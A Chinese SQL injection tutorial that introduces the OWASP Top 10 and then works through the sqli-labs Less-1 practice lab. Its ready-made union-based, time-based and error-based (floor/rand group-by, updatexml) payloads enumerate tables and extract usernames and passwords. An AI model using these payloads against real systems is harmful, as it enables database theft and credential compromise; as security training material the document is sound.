OWASP(开放式Web应用程序安全项目)的工具、文档、论坛和全球各地分会都是开放的,对所有致力于改进应用程序安全的人士开放,其最具权威的就是“10项最严重的Web 应用程序安全风险列表” ,总结了Web应用程序最可能、最常见、最危险的十大漏洞,是开发、测试、服务、咨询人员应知应会的知识。
2017版提供pdf格式下载:http://www.owasp.org.cn/owasp-project/2017-owasp-top-10
是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作。
危害:
欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息,导致数据泄露;
获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库);
在特别情况下还可以修改数据库内容或者插入内容到数据库;
如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。
通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。
1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。
2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。
数字型注入就是说注入点的数据,拼接到SQL语句中是以数字型出现的,即数据两边没有被单引号、双引号包括;字符型注入正好相反。
# 注释
-- 注释
/*
注释
*/
/*!
内联查询
*/
# 不等于
select 1<>1 # 返回0
select 1<>2 # 返回1
# and or
select true and false # 返回0
select true or true # 返回1
在SQL语句中逻辑运算与(and) 比或(or)的优先级高。
substr(‘截取的字符串’,起始位置从1开始计数,截取的长度);
substring();
mid();
left();从字符串左侧截取字符
ord();转化为ASCII码
rand();
if(条件,true时返回的结果,false返回的结果,);
使用一些后台扫描工具,扫描出可能存在sql注入的连接,如login页面等。
通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠等来探测URL中是否存在注入点。
当我们变换id参数的时候,发现同一个页面展现出不同的内容,即数据库中的内容会回显到网页中来。
初步判定,id参数会带入数据库查询,根据不同的id查询数据库,得到不同的内容。
初步猜测后台执行的SQL语句大致结构为:select * from tbName where id=1;
http://localhost/PHP/sqli-labs-master/Less-1/?id=1'
,页面报错,并且报错信息会回显在网页中,报错信息如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
分析一下:near ''1'' LIMIT 0,1' at line 1
,单引号引起来的是错误内容即 '1'' LIMIT 0,1
,发现 '1'
后面多了一个单引号,所以我们原来猜想的sql语句:select * from tbName where id='1';
所以此注入点是字符型注入。
id=1' and sleep(5) --+
结果响应请求为6000多毫秒即6秒多,存在延时注入。
由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入,就是SQL语法中的 union select
语句,该语句会同时执行两条select语句,生成两张虚拟表,然后把查询到的结果进行拼接:select ~~ union select ~~
,由于虚拟表是二维结构,联合查询会"纵向"拼接,两张虚拟的表,实现跨库、跨表查询。
必要条件
两张虚拟的表具有相同的列数;虚拟表对应的列的数据类型相同
方法:依次增加数字,直到数据库报错。
当我们order by 4时,报错了,说明当前select语句所查询的虚拟表的列数为3。
?id=1' union select null,null,null,null --+
;页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL语句:
?id=1' and 1=2 union select 1,2,3 --+
,或 ?id=-1' union select 1,2,3 --+
,结果发现2,3有回显内容:
将回显字段替换为version(),database()
?id=1' and 1=2 union select 1,version(),database() --+
查询结果:版本号为5.5.53,数据库名为security。
利用联合查询从系统的information_ schema.tables查询:
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
这里可能会报错:Illegal mix of collations for operation 'UNION'
,这里是编码问题,可以将group_concat(table_name),使用ord()转换为ASCII码,然后解码获得表名,也可以使用hex()转换为16进制,然后解码即可获得。
从获得的表名可以推断,管理员账号密码可能存在于users表中。
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=users --+
由于表名是一个字符串,所以我们需要将users转换为16进制,即:
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+
发现表中的三个字段:id、username、password
获取用户名、密码:
?id=-1 union select 1,concat(username,password),3 from users --+
后台的密码可能是md5加密的需要解密即可获得。
当查找注入点时发现所有的id都显示同一页面,闭合后也显示同页面,无法使用上述的GET基于报错的注入方法,此时需要在注入点的判断过程中将数据库中SQL语句的报错信息,回显在页面中;
报错注入的原理:就是在错误信息中执行SQL语句.
关于group by聚合函数的报错,是MySQL的一个bug 编号为#8652。当使用rand()函数进行分组聚合时,会产生重复键的错误。
参考连接:https://bugs.mysql.com/bug.php?id=8652
测试bug:
1)创建数据库、表、插入测试数据
create database groupbyTest;
create table r1 (a int);
insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
2)使用 select left(rand(),3),a from r1 group by 1;
group by 1:按照第一个字段进行分类聚合,由于rand所以每次执行结果不同。
3)select left(rand(),3),a,count(*) from r1 group by 1;
重复条目报错信息。
sql语句解析过程:
所以重复键冲突的原因就是:group by执行rand时和select执行rand时值大概率不一样。
?id=1' and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
?id=1' union select 1,2,concat(left(rand(),3),'^',(select version()),'^')a,count(*),5,6,7,8 from information_schema.tables group by a --+
# ^ 中间就是查询的信息 ^
# a 给concat语句起的别名
select concat('^',version(),'^',floor(rand()*2))x,count(*) from(select 1 union select null union select !1)a group by x --+
select min(@a:=1) from information_schema.tables group by concat('^',@@version,'^',@a:=(@a+1)%2) --+
select min(@a:=1) from(select 1 union select null union select !1)a group by concat('^',@@version,'^',@a:= (@a+1)%2) --+
使用函数updatexml()或extractvalue()。
updatexml(XML_document,XPath_string,new_value)
具有查询功能在XPath_string处查询。
第一个参数: XML_document是String格式,为XML文档对象的名称;
第二个参数: XPath_string (Xpath格式的字符串);
第三个参数: new_value,String格式,替换查找到的符合条件的数据。
如果将参数2语法构造错误,它就会将查询的结果已报错的形式显示出来。
?id=1' and updatexml(1,concat('^',(select database()),'^'),1) --+